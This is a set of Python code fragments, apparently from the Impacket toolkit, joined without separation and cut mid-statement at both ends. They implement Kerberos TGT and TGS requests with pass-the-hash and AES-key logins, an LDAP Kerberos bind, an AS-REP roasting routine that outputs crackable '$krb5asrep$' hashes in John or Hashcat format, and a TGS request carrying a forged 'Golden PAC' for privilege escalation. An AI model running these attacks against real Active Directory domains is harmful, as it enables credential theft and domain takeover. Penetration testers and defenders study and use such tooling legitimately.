KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) # Yes.. this shouldn't happend but it's inherited from the past if aesKey is None: aesKey = '' if nthash == '': # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, # but I found some systems that accepts all ciphers, and trigger an error # when requesting subsequent TGS :(. More research needed. # So, in order to support more than one cypher, I'm setting aes first # since most of the systems would accept it. If we're lucky and # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4. if aesKey != '': if len(aesKey) == 64: supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),) else: supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) else: supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),) else: # We have hashes to try, only way is to request RC4 only supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, kdcHost) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: if supportedCiphers[0] in (constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value) and aesKey is '': supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, kdcHost) else: raise else: raise
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True): asReq = AS_REQ() domain = domain.upper() serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append( constants.KDCOptions.forwardable.value ) opts.append( constants.KDCOptions.renewable.value ) opts.append( constants.KDCOptions.proxiable.value ) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = rand.getrandbits(31) # Yes.. this shouldn't happen but it's inherited from the past if aesKey is None: aesKey = '' if nthash == '': # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, # but I found some systems that accepts all ciphers, and trigger an error # when requesting subsequent TGS :(. More research needed. # So, in order to support more than one cypher, I'm setting aes first # since most of the systems would accept it. If we're lucky and # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4. if aesKey != '': if len(aesKey) == 64: supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),) else: supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) else: supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),) else: # We have hashes to try, only way is to request RC4 only supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, kdcHost) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: if supportedCiphers[0] in (constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value) and aesKey is '': supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, kdcHost) else: raise else: raise # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the # 'Do not require Kerberos preauthentication' set preAuth = True try: asRep = decoder.decode(r, asn1Spec = KRB_ERROR())[0] except: # Most of the times we shouldn't be here, is this a TGT? asRep = decoder.decode(r, asn1Spec=AS_REP())[0] # Yes preAuth = False encryptionTypesData = dict() salt = '' if preAuth is False: # In theory, we should have the right credentials for the etype specified before. methods = asRep['padata'] encryptionTypesData[supportedCiphers[0]] = salt # handle RC4 fallback, we don't need any salt tgt = r else: methods = decoder.decode(asRep['e-data'], asn1Spec=METHOD_DATA())[0] for method in methods: if method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etypes2 = decoder.decode(method['padata-value'], asn1Spec = ETYPE_INFO2())[0] for etype2 in etypes2: try: if etype2['salt'] is None or etype2['salt'].hasValue() is False: salt = '' else: salt = etype2['salt'].prettyPrint() except PyAsn1Error: salt = '' encryptionTypesData[etype2['etype']] = b(salt) elif method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value: etypes = decoder.decode(method['padata-value'], asn1Spec = ETYPE_INFO())[0] for etype in etypes: try: if etype['salt'] is None or etype['salt'].hasValue() is False: salt = '' else: salt = etype['salt'].prettyPrint() except PyAsn1Error: salt = '' encryptionTypesData[etype['etype']] = b(salt) enctype = supportedCiphers[0] cipher = _enctype_table[enctype] # Pass the hash/aes key :P if nthash != '' and (isinstance(nthash, bytes) and nthash != b''): key = Key(cipher.enctype, nthash) elif aesKey != '': key = Key(cipher.enctype, unhexlify(aesKey)) else: key = cipher.string_to_key(password, encryptionTypesData[enctype], None) if preAuth is True: if enctype in encryptionTypesData is False: raise Exception('No Encryption Data Available!') # Let's build the timestamp timeStamp = PA_ENC_TS_ENC() now = datetime.datetime.utcnow() timeStamp['patimestamp'] = KerberosTime.to_asn1(now) timeStamp['pausec'] = now.microsecond # Encrypt the shyte encodedTimeStamp = encoder.encode(timeStamp) # Key Usage 1 # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the # client key (Section 5.2.7.2) encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None) encryptedData = EncryptedData() encryptedData['etype'] = cipher.enctype encryptedData['cipher'] = encriptedTimeStamp encodedEncryptedData = encoder.encode(encryptedData) # Now prepare the new AS_REQ again with the PADATA # ToDo: cannot we reuse the previous one? asReq = AS_REQ() asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value) asReq['padata'][0]['padata-value'] = encodedEncryptedData asReq['padata'][1] = noValue asReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][1]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append( constants.KDCOptions.forwardable.value ) opts.append( constants.KDCOptions.renewable.value ) opts.append( constants.KDCOptions.proxiable.value ) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = rand.getrandbits(31) seq_set_iter(reqBody, 'etype', ( (int(cipher.enctype),))) try: tgt = sendReceive(encoder.encode(asReq), domain, kdcHost) except Exception as e: if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0: if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None): from impacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC) raise asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # So, we have the TGT, now extract the new session key and finish cipherText = asRep['enc-part']['cipher'] if preAuth is False: # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. LOG.debug('$krb5asrep$%d$%s@%s:%s$%s' % (asRep['enc-part']['etype'],clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]), hexlify(asRep['enc-part']['cipher'].asOctets()[16:])) ) # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) try: plainText = cipher.decrypt(key, 3, cipherText) except InvalidChecksum as e: # probably bad password if preauth is disabled if preAuth is False: error_msg = "failed to decrypt session key: %s" % str(e) raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText) raise encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] # Get the session key and the ticket # We're assuming the cipher for this session key is the same # as the one we used before. # ToDo: change this sessionKey = Key(cipher.enctype,encASRepPart['key']['keyvalue'].asOctets()) # ToDo: Check Nonces! return tgt, cipher, key, sessionKey
def getTGT(self, userName, requestPAC=True): clientName = Principal( userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) asReq = AS_REQ() domain = self.__domain.upper() serverName = Principal( 'krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, self.__kdcHost) except KerberosError as e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # RC4 not available, OK, let's ask for newer types supportedCiphers = ( int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value ), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value ), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, self.__kdcHost) else: raise e # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the # 'Do not require Kerberos preauthentication' set try: asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] except: # Most of the times we shouldn't be here, is this a TGT? asRep = decoder.decode(r, asn1Spec=AS_REP())[0] else: # The user doesn't have UF_DONT_REQUIRE_PREAUTH set raise Exception( 'User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName) if self.__outputFormat == 'john': # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. return '$krb5asrep$%s@%s:%s$%s' % ( clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()) else: # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises a LDAPSessionError if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0' + lmhash if len(nthash) % 2: nthash = '0' + nthash try: # just in case they were converted already lmhash = bytes.fromhex(lmhash) nthash = bytes.fromhex(nthash) except TypeError: pass # Importing down here so pyasn1 is not required if kerberos is not used. from impacket.krb5.ccache import CCache from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants from impacket.krb5.types import Principal, KerberosTime, Ticket import datetime if TGT is not None or TGS is not None: useCache = False targetName = 'ldap/%s' % self._dstHost if useCache: domain, user, TGT, TGS = CCache.parseFile(domain, user, targetName) # First of all, we need to get a TGT for the user userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal(targetName, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = [] apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) # Done with the Kerberos saga, now let's get into LDAP bindRequest = BindRequest() bindRequest['version'] = 3 bindRequest['name'] = user bindRequest['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO' bindRequest['authentication']['sasl']['credentials'] = blob.getData() response = self.sendReceive(bindRequest)[0]['protocolOp'] if response['bindResponse']['resultCode'] != ResultCode('success'): raise LDAPSessionError( errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(), response['bindResponse']['diagnosticMessage']) ) return True
def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime): # Get out Golden PAC goldenPAC = self.getGoldenPAC(authTime) decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT ifRelevant = AD_IF_RELEVANT() ifRelevant[0] = None ifRelevant[0]['ad-type'] = int( constants.AuthorizationDataType.AD_IF_RELEVANT.value) ifRelevant[0]['ad-data'] = goldenPAC encodedIfRelevant = encoder.encode(ifRelevant) # Key Usage 4 # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with # the TGS session key (Section 5.4.1) encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None) tgsReq = TGS_REQ() reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.SystemRandom().getrandbits(31) seq_set_iter(reqBody, 'etype', (cipher.enctype, )) reqBody['enc-authorization-data'] = None reqBody['enc-authorization-data']['etype'] = int(cipher.enctype) reqBody['enc-authorization-data'][ 'cipher'] = encryptedEncodedIfRelevant apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = None tgsReq['padata'][0] = None tgsReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = False encodedPacRequest = encoder.encode(pacRequest) tgsReq['padata'][1] = None tgsReq['padata'][1]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) tgsReq['padata'][1]['padata-value'] = encodedPacRequest message = encoder.encode(tgsReq) r = sendReceive(message, domain, kdcHost) # Get the session key tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue'])) return r, cipher, sessionKey, newSessionKey
# Now prepare the new AS_REQ again with the PADATA # ToDo: cannot we reuse the previous one? asReq = AS_REQ() asReq["pvno"] = 5 asReq["msg-type"] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq["padata"] = None asReq["padata"][0] = None asReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value) asReq["padata"][0]["padata-value"] = encodedEncryptedData asReq["padata"][1] = None asReq["padata"][1]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq["padata"][1]["padata-value"] = encodedPacRequest reqBody = seq_set(asReq, "req-body") opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody["kdc-options"] = constants.encodeFlags(opts) seq_set(reqBody, "sname", serverName.components_to_asn1) seq_set(reqBody, "cname", clientName.components_to_asn1) reqBody["realm"] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody["till"] = KerberosTime.to_asn1(now) reqBody["rtime"] = KerberosTime.to_asn1(now)